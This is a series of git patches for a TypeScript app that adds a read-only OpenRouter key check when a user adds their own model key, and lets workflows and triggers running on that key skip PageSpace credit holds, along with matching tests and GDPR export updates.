await deps.accounts.insertDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: userId, scope: MODEL_KEY_SCOPE, expiresAt: deps.now() + MODEL_KEY_DELEGATION_TTL_MS }); - for (const old of previous) await retire(old); const stored = await deps.accounts.find(row.id); - return stored === null ? { ok: false, reason: 'store_refused' } : { ok: true, account: toSafeAccount({ row: stored }) }; + if (stored === null) return { ok: false, reason: 'store_refused' }; + // Check the key with OpenRouter through the plane (GET /api/v1/key: free, read-only), BEFORE the previous key + // is retired, so a mistyped key never replaces a working one. + const checked = await inference({ caller: { userId, sessionId: null, conversationId: `model-key-check-${row.id}` as ConversationId, runId: newId() as RunId }, body: '', call: 'key_info' }); + const status = checked.ok ? checked.response.status : null; + if (checked.ok) await checked.response.body?.cancel().catch(() => undefined); + if (status === 401 || status === 403) { + await retire(stored); + return { ok: false, reason: 'key_rejected' }; + } + for (const old of previous) await retire(old); + return { ok: true, account: toSafeAccount({ row: stored }), verified: status !== null && status >= 200 && status < 300 }; }, async removeModelKey({ actor }) { @@ -514,50 +573,7 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth return { ok: true, account: null }; }, - async requestInference({ caller, body, signal }) { - const now = deps.now(); - const [row] = await activeModelKeys(caller.userId); - if (row === undefined) return { ok: false, reason: 'no_model_key' }; - const delegation: DelegationFact = - caller.sessionId !== null ? { kind: 'none' } : ((await deps.accounts.activeDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: caller.userId, now })) ?? { kind: 'none' }); - const counted = await deps.plane.usage({ ref: refOf(row) }); - const usage: UsageCounters = counted.ok ? { usesThisHour: counted.usesThisHour, bytesOutThisHour: counted.bytesOutThisHour, concurrent: counted.concurrent } : ZERO_USAGE; - const verdict = authorizeInference({ - caller: { - actorUserId: caller.userId, - actingHumanUserId: caller.userId, - sessionId: caller.sessionId, - conversationId: caller.conversationId, - runId: caller.runId, - // The key is the person's own and pays for their calls; a drive-scoped token limits drive access, not whose key runs. - callerCeiling: { allowedDriveIds: [], originatingMcpTokenId: null }, - }, - account: row, - facts: { humanDriveRole: null, agentPagePermission: 'none', agentBoundToAccount: false, boundAgentPageIds: [], delegation, ceilingAdmitsAccount: true }, - body, - sha256: deps.sha256, - approvals: [], - usage, - presenter: { keyId: deps.presenterKeyId, channel: 'inference-executor' }, - now, - grantId: newId() as GrantId, - nonce: newId() as Nonce, - ttlMs: GRANT_TTL_MS, - hash: deps.hash, - }); - if (!verdict.ok) { - if (verdict.reason === 'limits_exceeded') return { ok: false, reason: 'limits_exceeded' }; - if (verdict.reason === 'request_refused') return { ok: false, reason: 'request_refused' }; - // Anything else (no delegation, a policy that no longer covers it) means the key cannot be used as stored. - return { ok: false, reason: 'no_model_key' }; - } - const signature = signGrant({ grant: verdict.grant, key: deps.authorityKey }); - const started = await deps.plane.inferStream( - { grant: verdict.grant, signature, body, run: { human: verdict.grant.human, agentPageId: null, conversationId: verdict.grant.conversationId, runId: verdict.grant.runId } }, - { signal }, - ); - return started.ok ? started : { ok: false, reason: started.reason }; - }, + requestInference: (input) => inference(input), async createAccount({ actor, owner, input }) { const actorUserId = actor.userId as UserId; diff --git a/packages/lib/src/agent-accounts/authorize.ts b/packages/lib/src/agent-accounts/authorize.ts index 58d09819d1..0fc6d6ca92 100644 --- a/packages/lib/src/agent-accounts/authorize.ts +++ b/packages/lib/src/agent-accounts/authorize.ts @@ -59,7 +59,7 @@ import { canonicalizeRequest } from './canonicalize-request'; import { digestRequest } from './digest-request'; import { renderApprovalSubject } from './render-approval-subject'; import { decideApproval } from './decide-approval'; -import { canonicalizeInferenceRequest, isModelKeyAccount } from './inference/model-key'; +import { canonicalizeInferenceRequest, isModelKeyAccount, type InferenceCall } from './inference/model-key'; import { decideDestination, type DestinationVerdict } from './decide-destination'; import { planeBindingsFor } from './plane-bindings-for'; import { digestBindings } from './store/digest-bindings'; @@ -234,7 +234,7 @@ export function authorizeSsh(input: Omit * the body is canonicalized against the pinned OpenRouter endpoint. A live session or the person's standing * inference delegation stands for the human. Pure. */ -export function authorizeInference(input: Omit & { readonly caller: Omit; readonly body: string; readonly sha256: HashBytes }): AuthorizeVerdict { +export function authorizeInference(input: Omit & { readonly caller: Omit; readonly body: string; readonly sha256: HashBytes; readonly call?: InferenceCall }): AuthorizeVerdict { const caller: AuthorizeCaller = { ...input.caller, agentPageId: null }; const facts: AuthorizeFacts = { ...input.facts, agentPagePermission: 'none', agentBoundToAccount: false }; const scoped = { ...input, caller, facts }; @@ -242,7 +242,7 @@ export function authorizeInference(input: Omit { }); }); + it('given a key-check grant, should GET only /api/v1/key with no body, and refuse it presented as a model call', async () => { + const { executor, sent } = harness({ chunks: ['{"data":{"label":"x"}}'] }); + const check = grantFor('', `n_check_${Math.random()}`, 'key_info'); + await drain(await executor.execute({ ...check, body: '', run, call: 'key_info' })); + const misused = grantFor('', `n_misuse_${Math.random()}`, 'key_info'); + const asChat = await executor.execute({ ...misused, body, run }); + expect([sent[0]?.method, sent[0]?.url, sent[0]?.body.byteLength, asChat.ok ? 'sent' : asChat.reason, sent.length]).toEqual(['GET', 'https://openrouter.ai/api/v1/key', 0, 'refused', 1]); + }); + it('given the same grant presented twice, should send nothing the second time', async () => { const { executor, sent } = harness(); const { grant, signature } = grantFor(body); diff --git a/packages/lib/src/agent-accounts/executor/inference-executor.ts b/packages/lib/src/agent-accounts/executor/inference-executor.ts index 5237b3b29c..b60ff5d939 100644 --- a/packages/lib/src/agent-accounts/executor/inference-executor.ts +++ b/packages/lib/src/agent-accounts/executor/inference-executor.ts @@ -23,7 +23,7 @@ import type { PinnedHttpsStreamClient } from './pinned-https-stream'; import type { PlaneInferenceRefusal } from './plane-wire'; import { parseGrant } from '../parse-grant'; import { digestRequest } from '../digest-request'; -import { canonicalizeInferenceRequest, INFERENCE_ORIGIN, INFERENCE_URL, isModelKeyAccount } from '../inference/model-key'; +import { canonicalizeInferenceRequest, INFERENCE_ORIGIN, INFERENCE_URL, isModelKeyAccount, KEY_INFO_URL, type InferenceCall } from '../inference/model-key'; import { createStreamScrubber } from '../inference/stream-scrubber'; import { decidePolicyUsage } from './decide-policy-usage'; import { approvalFactFor } from './approval-fact-for'; @@ -55,8 +55,10 @@ export type InferenceRequest = { /** Untrusted until verified. */ readonly grant: unknown; readonly signature: string; - /** The exact chat-completions body text. */ + /** The exact chat-completions body text ('' for the key check). */ readonly body: string; + /** Default `chat`. */ + readonly call?: InferenceCall; readonly run: RunEnvelope; }; @@ -95,7 +97,7 @@ export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceE } return { - async execute({ grant: claim, signature, body, run }) { + async execute({ grant: claim, signature, body, run, call = 'chat' }) { const now = deps.now(); const parsed = parseGrant({ grant: claim }); if (!parsed.ok) return deny(claim, 'malformed', now); @@ -109,7 +111,7 @@ export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceE // The plane's pinned origin, never the main-DB row's: it must be OpenRouter and nothing else. const pinnedToInference = plane !== null && plane.allowedOrigins.length === 1 && plane.allowedOrigins[0] === INFERENCE_ORIGIN; - const canonicalized = canonicalizeInferenceRequest({ body, sha256: deps.sha256 }); + const canonicalized = canonicalizeInferenceRequest({ body, sha256: deps.sha256, call }); if (!canonicalized.ok || !pinnedToInference) return deny(claim, 'digest_mismatch', now); const canonical = canonicalized.canonical; @@ -175,19 +177,24 @@ export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceE return { kind: 'upstream_failed', upstreamStatus: null }; } const key = resolved.material.value; - const target = new URL(INFERENCE_URL); + // Only the two pinned endpoints, chosen by the digested call, never by anything the caller names. + const url = call === 'key_info' ? KEY_INFO_URL : INFERENCE_URL; + const target = new URL(url); const sent = await deps.network.stream({ - method: 'POST', - url: INFERENCE_URL, + method: call === 'key_info' ? 'GET' : 'POST', + url, hostname: target.hostname, port: deps.upstreamPort ?? 443, - headers: [ - ['accept', 'text/event-stream, application/json'], - ['accept-encoding', 'identity'], - ['authorization', `Bearer ${key}`], - ['content-type', 'application/json'], - ['x-title', 'PageSpace'], - ], + headers: + call === 'key_info' + ? [['accept', 'application/json'], ['accept-encoding', 'identity'], ['authorization', `Bearer ${key}`]] + : [ + ['accept', 'text/event-stream, application/json'], + ['accept-encoding', 'identity'], + ['authorization', `Bearer ${key}`], + ['content-type', 'application/json'], + ['x-title', 'PageSpace'], + ], body: new TextEncoder().encode(body), }); if (sent.kind !== 'response') { diff --git a/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts b/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts index 5a441ca80d..177a7a5a74 100644 --- a/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts +++ b/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts @@ -308,6 +308,7 @@ export function createPlaneRequestHandler(deps: PlaneRequestHandlerDeps): (req: if (deps.inference === null) return send(res, 404, { error: 'not_found' }); const { grant, signature: grantSignature, body: modelBody, run } = parsed.data; const result = await deps.inference.execute({ + call: parsed.data.call, grant, signature: grantSignature, body: modelBody, diff --git a/packages/lib/src/agent-accounts/executor/plane-wire.ts b/packages/lib/src/agent-accounts/executor/plane-wire.ts index 8b45a30043..238ed39d8c 100644 --- a/packages/lib/src/agent-accounts/executor/plane-wire.ts +++ b/packages/lib/src/agent-accounts/executor/plane-wire.ts @@ -137,7 +137,9 @@ export const planeInferenceStreamBody = z .object({ grant: z.unknown(), signature: z.string().min(1).max(512), - body: z.string().min(2).max(8 * 1024 * 1024), + /** `chat` (default): a model call with `body`. `key_info`: the one-time key check, `body` empty. */ + call: z.enum(['chat', 'key_info']).default('chat'), + body: z.string().max(8 * 1024 * 1024), run: z .object({ human: z.object({ userId: z.string().min(1), sessionId: z.string().min(1).nullable() }).strict(), @@ -192,7 +194,8 @@ export type PlaneOAuthExchangeBody = z.infer; export type PlaneSshHostKeyBody = z.infer; export type PlaneSshEnrollBody = z.infer; export type PlaneSshExecBody = z.infer; -export type PlaneInferenceStreamBody = z.infer; +/** The input shape: `call` may be omitted (a model call). */ +export type PlaneInferenceStreamBody = z.input; /** Why a model call never reached OpenRouter. The reasons are the person's, never an agent's. */ export type PlaneInferenceRefusal = { readonly ok: false; readonly reason: 'refused' | 'limits_exceeded' | 'upstream_unreachable' | 'audit_unavailable' }; export type PlaneSshHostKeyResult = { readonly ok: true; readonly fingerprint: string; readonly algorithm: string } | { readonly ok: false; readonly reason: 'unresolvable' | 'address_refused' | 'unreachable' | 'timeout' | 'host_key_mismatch' | 'auth_failed' }; diff --git a/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts b/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts index d88dd702f9..0e10c3462f 100644 --- a/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts +++ b/packages/lib/src/agent-accounts/inference/__tests__/model-key.test.ts @@ -41,6 +41,24 @@ describe('canonicalizeInferenceRequest', () => { }); }); +describe('canonicalizeInferenceRequest (key check)', () => { + it('given the key check, should pin a bodiless GET to /api/v1/key as a read', () => { + const actual = canonicalizeInferenceRequest({ body: '', sha256, call: 'key_info' }); + expect(actual.ok && [actual.canonical.method, actual.canonical.path, actual.canonical.operation, actual.canonical.resources]).toEqual(['GET', '/api/v1/key', { class: 'read', name: 'openrouter.key_info' }, []]); + }); + + it('given a body with the key check, should refuse it', () => { + const actual = canonicalizeInferenceRequest({ body: '{"x":1}', sha256, call: 'key_info' }); + expect(actual.ok ? 'ok' : actual.reason).toBe('body_not_json'); + }); + + it('given a chat grant presented as a key check, should digest differently', () => { + const chat = canonicalizeInferenceRequest({ body, sha256 }); + const check = canonicalizeInferenceRequest({ body: '', sha256, call: 'key_info' }); + expect(chat.ok && check.ok && chat.canonical.operation.name !== check.canonical.operation.name).toBe(true); + }); +}); + describe('modelKeyApprovalPolicy', () => { const policy = modelKeyApprovalPolicy({ approver: 'u1' as UserId }); const canonical = (() => { diff --git a/packages/lib/src/agent-accounts/inference/model-key.ts b/packages/lib/src/agent-accounts/inference/model-key.ts index b1057709b6..5744a387c7 100644 --- a/packages/lib/src/agent-accounts/inference/model-key.ts +++ b/packages/lib/src/agent-accounts/inference/model-key.ts @@ -26,6 +26,13 @@ export const INFERENCE_PATH = '/api/v1/chat/completions'; export const INFERENCE_URL = `https://openrouter.ai${INFERENCE_PATH}`; /** `write`: it spends the person's money, so it needs a bounded policy, but it is never irreversible or privileged. */ export const INFERENCE_OPERATION: OperationRef = { class: 'write', name: 'openrouter.chat_completion' }; +/** OpenRouter's "who am I" for a key: free, read-only, used once to check a key when it is added. */ +export const KEY_INFO_PATH = '/api/v1/key'; +export const KEY_INFO_URL = `https://openrouter.ai${KEY_INFO_PATH}`; +export const KEY_INFO_OPERATION: OperationRef = { class: 'read', name: 'openrouter.key_info' }; + +/** The two calls a model key can make: a model call, and the one-time key check. */ +export type InferenceCall = 'chat' | 'key_info'; /** Large contexts with images run to a few MiB; anything past this is not a model call we send. */ export const MAX_INFERENCE_BODY_BYTES = 8 * 1024 * 1024; /** The key is sent as a bearer token; stored with this placement for the record (the executor builds the header itself). */ @@ -41,7 +48,7 @@ export const MODEL_KEY_DELEGATION_TTL_MS = 365 * 24 * 60 * 60 * 1000; */ export const MODEL_KEY_LIMITS: AccountApprovalPolicy['limits'] = { maxUsesPerHour: 1200, maxBytesOut: 1024 * 1024 * 1024, maxConcurrent: 12 }; -export const MODEL_KEY_SCOPE: ApprovalScope = { origins: [INFERENCE_ORIGIN], operations: [INFERENCE_OPERATION], resources: [] }; +export const MODEL_KEY_SCOPE: ApprovalScope = { origins: [INFERENCE_ORIGIN], operations: [INFERENCE_OPERATION, KEY_INFO_OPERATION], resources: [] }; export function modelKeyApprovalPolicy({ approver }: { readonly approver: UserId }): AccountApprovalPolicy { return { scope: MODEL_KEY_SCOPE, trigger: 'irreversible_only', duration: null, limits: MODEL_KEY_LIMITS, approver }; @@ -56,7 +63,16 @@ export type InferenceRequestVerdict = { readonly ok: true; readonly canonical: C * Canonicalize one model call from the exact body text that will be sent. Both sides run this over the same * text — the authority to sign, the plane to verify — so a body changed in between is `digest_mismatch`. */ -export function canonicalizeInferenceRequest({ body, sha256 }: { readonly body: string; readonly sha256: HashBytes }): InferenceRequestVerdict { +export function canonicalizeInferenceRequest({ body, sha256, call = 'chat' }: { readonly body: string; readonly sha256: HashBytes; readonly call?: InferenceCall }): InferenceRequestVerdict { + if (call === 'key_info') { + // A GET with no body: nothing to digest but the empty body, nothing to bind. + if (body !== '') return { ok: false, reason: 'body_not_json' }; + return { + ok: true, + model: '', + canonical: { channel: 'inference-executor', method: 'GET', origin: INFERENCE_ORIGIN, path: KEY_INFO_PATH, query: [], headers: [], bodySha256: sha256(new Uint8Array(0)), resources: [], operation: KEY_INFO_OPERATION }, + }; + } const bytes = new TextEncoder().encode(body); if (bytes.byteLength > MAX_INFERENCE_BODY_BYTES) return { ok: false, reason: 'body_too_large' }; let parsed: unknown; From 531a2393b53b4048c986f18e3bc870bc3c2e10e3 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 20:22:20 -0600 Subject: [PATCH 10/35] feat(billing): workflows and triggers on the creator's own key take no credit hold (BYOK-7) acquireWorkflowCreditHold and the calendar, Zoom and page-webhook trigger executors asked for PageSpace credits before their steps' providers were known, so a person with no credits was refused a run that would have been on their own key. runsOnOwnKey answers it up front (every cloud model is OpenRouter): no hold when the gated person is the creator and the run is on their key. A manual Run pressed by someone else is gated as before. A step that still lands on PageSpace's key (org-governed content) is billed at settle; it only took no hold. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR --- apps/web/src/lib/ai/core/model-key-source.ts | 11 +++++++++++ .../__tests__/image-generation-tools.test.ts | 2 +- .../zoom/webhook-trigger-executor.ts | 6 +++++- .../webhooks/page-webhook-trigger-executor.ts | 6 +++++- .../__tests__/workflow-credit-gate.test.ts | 17 +++++++++++++++++ .../lib/workflows/calendar-trigger-executor.ts | 6 +++++- .../src/lib/workflows/workflow-credit-gate.ts | 7 +++++++ 7 files changed, 51 insertions(+), 4 deletions(-) diff --git a/apps/web/src/lib/ai/core/model-key-source.ts b/apps/web/src/lib/ai/core/model-key-source.ts index 03cbf7b262..5b498683ef 100644 --- a/apps/web/src/lib/ai/core/model-key-source.ts +++ b/apps/web/src/lib/ai/core/model-key-source.ts @@ -78,6 +78,17 @@ export async function resolveModelKeySource(scope: ModelKeyCallScope): Promise { + return (await resolveModelKeySource({ userId, provider: 'openrouter', driveId })).source === 'user_key'; +} + /** Whether a call on this key source is billed in PageSpace credits. */ export function isBilledKeySource(source: ModelKeySource | undefined): boolean { return source !== 'user_key'; diff --git a/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts b/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts index 754552a332..18fe66f32e 100644 --- a/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts +++ b/apps/web/src/lib/ai/tools/__tests__/image-generation-tools.test.ts @@ -221,7 +221,7 @@ describe('generate_image destination', () => { okGeneration(); createImageProvider.mockResolvedValueOnce({ client: IMAGE_CLIENT, provider: 'google', modelName: 'google/gemini-3.1-flash-image', keySource: 'user_key' }); await run({ prompt: 'a diagram' }, { ...admin({}), ...inDrive('drive-work') }); - expect([canConsumeAI.mock.calls.length, trackUsage.mock.calls[0]?.[0]?.keySource, trackUsage.mock.calls[0]?.[0]?.holdId]).toEqual([0, 'user_key', undefined]); + expect([canConsumeAI.mock.calls.length, (trackUsage.mock.calls[0]?.[0] as { keySource?: string } | undefined)?.keySource, (trackUsage.mock.calls[0]?.[0] as { holdId?: string } | undefined)?.holdId]).toEqual([0, 'user_key', undefined]); }); // An explicitly named destination must fail loudly rather than silently diff --git a/apps/web/src/lib/integrations/zoom/webhook-trigger-executor.ts b/apps/web/src/lib/integrations/zoom/webhook-trigger-executor.ts index 7a2a297f3f..6b6a77831c 100644 --- a/apps/web/src/lib/integrations/zoom/webhook-trigger-executor.ts +++ b/apps/web/src/lib/integrations/zoom/webhook-trigger-executor.ts @@ -10,6 +10,7 @@ import { executeWorkflow, type WorkflowExecutionResult, type WorkflowExecutionIn import { isUserDriveMember } from '@pagespace/lib/permissions/permissions'; import { automationRunOwner } from '@pagespace/lib/permissions/automation-ownership'; import { canConsumeAI } from '@pagespace/lib/billing/credit-gate'; +import { runsOnOwnKey } from '@/lib/ai/core/model-key-source'; import { automationSpend } from '@pagespace/lib/billing/spend-target'; import { creditDeniedError } from '@/lib/workflows/workflow-credit-gate'; import { releaseHold } from '@pagespace/lib/billing/credit-consume'; @@ -96,7 +97,10 @@ export async function executeWebhookTrigger( // SPEND-6: a trigger has no person present; it spends the workflow's drive wallet // or is skipped, never anyone's own credits or allowance. const spend = automationSpend(workflow.driveId); - const gate = await canConsumeAI( + // BYOK (ADR 0009): a run on the owner's own OpenRouter key needs no PageSpace credits: no hold. + const gate = (await runsOnOwnKey({ userId: ownerId, driveId: workflow.driveId })) + ? { allowed: true as const, reason: 'ok' as const, holdId: undefined, walletId: undefined } + : await canConsumeAI( ownerId, toPersonalSubscriptionTier(workflowOwner?.subscriptionTier), { spend, skipDailyCap: true }, diff --git a/apps/web/src/lib/webhooks/page-webhook-trigger-executor.ts b/apps/web/src/lib/webhooks/page-webhook-trigger-executor.ts index 817abb4add..d9376abeb3 100644 --- a/apps/web/src/lib/webhooks/page-webhook-trigger-executor.ts +++ b/apps/web/src/lib/webhooks/page-webhook-trigger-executor.ts @@ -14,6 +14,7 @@ import { import { isUserDriveMember } from '@pagespace/lib/permissions/permissions'; import { automationRunOwner } from '@pagespace/lib/permissions/automation-ownership'; import { canConsumeAI } from '@pagespace/lib/billing/credit-gate'; +import { runsOnOwnKey } from '@/lib/ai/core/model-key-source'; import { automationSpend } from '@pagespace/lib/billing/spend-target'; import { creditDeniedError } from '@/lib/workflows/workflow-credit-gate'; import { WEBHOOK_DAILY_EXPOSURE_CAP_CENTS, CREDIT_HOLD_ESTIMATE_CENTS } from '@pagespace/lib/billing/credit-pricing'; @@ -216,7 +217,10 @@ export async function executePageWebhookTrigger( .select({ subscriptionTier: users.subscriptionTier }) .from(users) .where(eq(users.id, ownerId)); - const gate = await canConsumeAI( + // BYOK (ADR 0009): a run on the owner's own OpenRouter key needs no PageSpace credits: no hold. + const gate = (await runsOnOwnKey({ userId: ownerId, driveId: workflow.driveId })) + ? { allowed: true as const, reason: 'ok' as const, holdId: undefined, walletId: undefined } + : await canConsumeAI( ownerId, toPersonalSubscriptionTier(owner?.subscriptionTier), { diff --git a/apps/web/src/lib/workflows/__tests__/workflow-credit-gate.test.ts b/apps/web/src/lib/workflows/__tests__/workflow-credit-gate.test.ts index 369c4efb1a..c6f5953204 100644 --- a/apps/web/src/lib/workflows/__tests__/workflow-credit-gate.test.ts +++ b/apps/web/src/lib/workflows/__tests__/workflow-credit-gate.test.ts @@ -7,7 +7,9 @@ const { mockSelectWhere, mockCanConsumeAI, mockReleaseHold, + mockRunsOnOwnKey, } = vi.hoisted(() => ({ + mockRunsOnOwnKey: vi.fn(), mockSelect: vi.fn(), mockSelectFrom: vi.fn(), mockSelectWhere: vi.fn(), @@ -20,6 +22,7 @@ vi.mock('@pagespace/db/operators', () => ({ eq: vi.fn() })); vi.mock('@pagespace/db/schema/auth', () => ({ users: { id: 'id', subscriptionTier: 'subscriptionTier' } })); vi.mock('@pagespace/lib/billing/credit-gate', () => ({ canConsumeAI: mockCanConsumeAI })); vi.mock('@pagespace/lib/billing/credit-consume', () => ({ releaseHold: mockReleaseHold })); +vi.mock('@/lib/ai/core/model-key-source', () => ({ runsOnOwnKey: mockRunsOnOwnKey })); vi.mock('@pagespace/lib/billing/credit-pricing', () => ({ CREDIT_HOLD_ESTIMATE_CENTS: 10, MAX_CHAT_INFLIGHT: 3, @@ -38,6 +41,20 @@ describe('acquireWorkflowCreditHold', () => { mockSelectFrom.mockReturnValue({ where: mockSelectWhere }); mockSelectWhere.mockResolvedValue([{ subscriptionTier: 'pro' }]); mockReleaseHold.mockResolvedValue(undefined); + mockRunsOnOwnKey.mockResolvedValue(false); + }); + + it('BYOK (ADR 0009) given a run on the creator\'s own OpenRouter key, should take no hold and need no PageSpace credits', async () => { + mockRunsOnOwnKey.mockResolvedValue(true); + const hold = await acquireWorkflowCreditHold(LEGACY_AI_WORKFLOW, 'scheduled'); + expect([hold.allowed, mockCanConsumeAI.mock.calls.length, mockRunsOnOwnKey.mock.calls[0]?.[0]]).toEqual([true, 0, { userId: 'user_1', driveId: 'drive_product' }]); + }); + + it('BYOK (ADR 0009) given a manual Run pressed by someone other than the creator, should gate as before: their run is never on the creator\'s key', async () => { + mockRunsOnOwnKey.mockResolvedValue(true); + mockCanConsumeAI.mockResolvedValue({ allowed: true, reason: 'ok', holdId: 'hold_1', walletId: 'w_product' }); + await acquireWorkflowCreditHold(LEGACY_AI_WORKFLOW, 'interactive', 'user_2'); + expect([mockCanConsumeAI.mock.calls.length, mockRunsOnOwnKey.mock.calls.length]).toEqual([1, 0]); }); it('SPEND-6 (partial) a workflow run spends its drive\'s wallet, gated as the workflow\'s CREATOR (whose caps bind it, [D-OW-34]) — never their own credits', async () => { diff --git a/apps/web/src/lib/workflows/calendar-trigger-executor.ts b/apps/web/src/lib/workflows/calendar-trigger-executor.ts index a0548d8b84..8cd891d30e 100644 --- a/apps/web/src/lib/workflows/calendar-trigger-executor.ts +++ b/apps/web/src/lib/workflows/calendar-trigger-executor.ts @@ -13,6 +13,7 @@ import type { CalendarTrigger } from '@pagespace/db/schema/calendar-triggers'; import { executeWorkflow, type WorkflowExecutionResult, type WorkflowExecutionInput } from './workflow-executor'; import { isUserDriveMember } from '@pagespace/lib/permissions/permissions'; import { canConsumeAI } from '@pagespace/lib/billing/credit-gate'; +import { runsOnOwnKey } from '@/lib/ai/core/model-key-source'; import { automationSpend } from '@pagespace/lib/billing/spend-target'; import { creditDeniedError } from '@/lib/workflows/workflow-credit-gate'; import { releaseHold } from '@pagespace/lib/billing/credit-consume'; @@ -118,7 +119,10 @@ export async function executeCalendarTrigger( const spend = automationSpend(workflow.driveId); let gate: Awaited>; try { - gate = await canConsumeAI( + // BYOK (ADR 0009): a run on the owner's own OpenRouter key needs no PageSpace credits: no hold. + gate = (await runsOnOwnKey({ userId: scheduledById, driveId: workflow.driveId })) + ? { allowed: true, reason: 'ok' } + : await canConsumeAI( scheduledById, toPersonalSubscriptionTier(schedulingUser?.subscriptionTier), { spend, skipDailyCap: true }, diff --git a/apps/web/src/lib/workflows/workflow-credit-gate.ts b/apps/web/src/lib/workflows/workflow-credit-gate.ts index b13e15d7cd..ed4ef7298b 100644 --- a/apps/web/src/lib/workflows/workflow-credit-gate.ts +++ b/apps/web/src/lib/workflows/workflow-credit-gate.ts @@ -9,6 +9,7 @@ import { CREDIT_HOLD_ESTIMATE_CENTS, MAX_CHAT_INFLIGHT } from '@pagespace/lib/bi import type { GateReason } from '@pagespace/lib/billing/credit-core'; import { creditDeniedError } from '@pagespace/lib/billing/automation-run-record'; import { resolveSteps, hasAiStep, countAiSteps } from './core/step-plan'; +import { runsOnOwnKey } from '@/lib/ai/core/model-key-source'; import type { RunAdmission, RunCreditSpend, WorkflowExecutionInput } from './workflow-executor'; /** @@ -74,6 +75,12 @@ export async function acquireWorkflowCreditHold( const steps = resolveSteps({ steps: input.steps ?? null, prompt: input.prompt, agentPageId: input.agentPageId }); if (!hasAiStep(steps)) return { allowed: true, release: () => {}, creditSpend: { spend: target, userId } }; + // BYOK (ADR 0009): a run on the creator's own OpenRouter key needs no PageSpace credits, so it takes no hold. + // Only when the gated person IS the creator: the executor uses the creator's key only then. + if (userId === input.createdBy && (await runsOnOwnKey({ userId, driveId: input.driveId }))) { + return { allowed: true, release: () => {}, creditSpend: { spend: target, userId } }; + } + const [user] = await db .select({ subscriptionTier: users.subscriptionTier }) .from(users) From 24cf2e70600af3aa57fbf7ae08282b589d18634d Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 20:54:46 -0600 Subject: [PATCH 11/35] =?UTF-8?q?fix(byok):=20CI=20=E2=80=94=20GDPR=20expo?= =?UTF-8?q?rt=20decision=20for=20the=20flag=20tables,=20key=5Fsource=20in?= =?UTF-8?q?=20the=20credits=20fake,=20chat-test=20auth=20mocks?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - feature_flag_user_overrides is exported under settings (Art 15: what an admin turned on for the subject, never who did it); feature_flags (the platform's rollout default) is excluded as platform-owned. - credits-flow fake: aiUsageLogs gains keySource (rows default 'managed' as the column does), plus a case proving a user_key orphan is never swept. - Two /api/ai/chat suites mock @/lib/auth without authSessionIdOf, which the page turn now reads for the model call's audit binding. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ3GsonBXCUfPUhaSNR --- .../__tests__/mcp-scope-tool-filtering.test.ts | 2 ++ .../__tests__/sandbox-github-suppression.test.ts | 2 ++ .../__tests__/credits-flow.integration.test.ts | 15 +++++++++------ .../agent-identity-export.integration.test.ts | 2 +- .../src/compliance/export/export-format.test.ts | 2 +- .../export/gdpr-export-coverage.test.ts | 2 +- .../src/compliance/export/gdpr-export-coverage.ts | 4 ++++ packages/lib/src/compliance/export/gdpr-export.ts | 11 ++++++++++- 8 files changed, 30 insertions(+), 10 deletions(-) diff --git a/apps/web/src/app/api/ai/chat/__tests__/mcp-scope-tool-filtering.test.ts b/apps/web/src/app/api/ai/chat/__tests__/mcp-scope-tool-filtering.test.ts index b183c9adec..f7a0a4e937 100644 --- a/apps/web/src/app/api/ai/chat/__tests__/mcp-scope-tool-filtering.test.ts +++ b/apps/web/src/app/api/ai/chat/__tests__/mcp-scope-tool-filtering.test.ts @@ -13,9 +13,11 @@ import type { SessionAuthResult, MCPAuthResult } from '@/lib/auth'; // without needing to mock the entire downstream streaming pipeline. // ============================================================================ +vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })) })); vi.mock('@/lib/auth', () => ({ authenticateRequestWithOptions: vi.fn(), isAuthError: vi.fn((result: unknown) => result != null && typeof result === 'object' && 'error' in result), + authSessionIdOf: vi.fn(() => null), isMCPAuthResult: vi.fn((result: { tokenType?: string }) => result?.tokenType === 'mcp'), checkMCPPageScope: vi.fn().mockResolvedValue(null), getAllowedDriveIds: vi.fn((auth: { allowedDriveIds?: string[] }) => auth.allowedDriveIds ?? []), diff --git a/apps/web/src/app/api/ai/chat/__tests__/sandbox-github-suppression.test.ts b/apps/web/src/app/api/ai/chat/__tests__/sandbox-github-suppression.test.ts index b9584c5815..3eabfcd3fc 100644 --- a/apps/web/src/app/api/ai/chat/__tests__/sandbox-github-suppression.test.ts +++ b/apps/web/src/app/api/ai/chat/__tests__/sandbox-github-suppression.test.ts @@ -18,9 +18,11 @@ import type { SessionAuthResult } from '@/lib/auth'; // unit test cannot observe. // ============================================================================ +vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: vi.fn(async () => ({ source: 'managed' })) })); vi.mock('@/lib/auth', () => ({ authenticateRequestWithOptions: vi.fn(), isAuthError: vi.fn((result: unknown) => result != null && typeof result === 'object' && 'error' in result), + authSessionIdOf: vi.fn(() => null), isMCPAuthResult: vi.fn(() => false), checkMCPPageScope: vi.fn().mockResolvedValue(null), getAllowedDriveIds: vi.fn(() => []), diff --git a/packages/lib/src/billing/__tests__/credits-flow.integration.test.ts b/packages/lib/src/billing/__tests__/credits-flow.integration.test.ts index e46064068b..c61868afca 100644 --- a/packages/lib/src/billing/__tests__/credits-flow.integration.test.ts 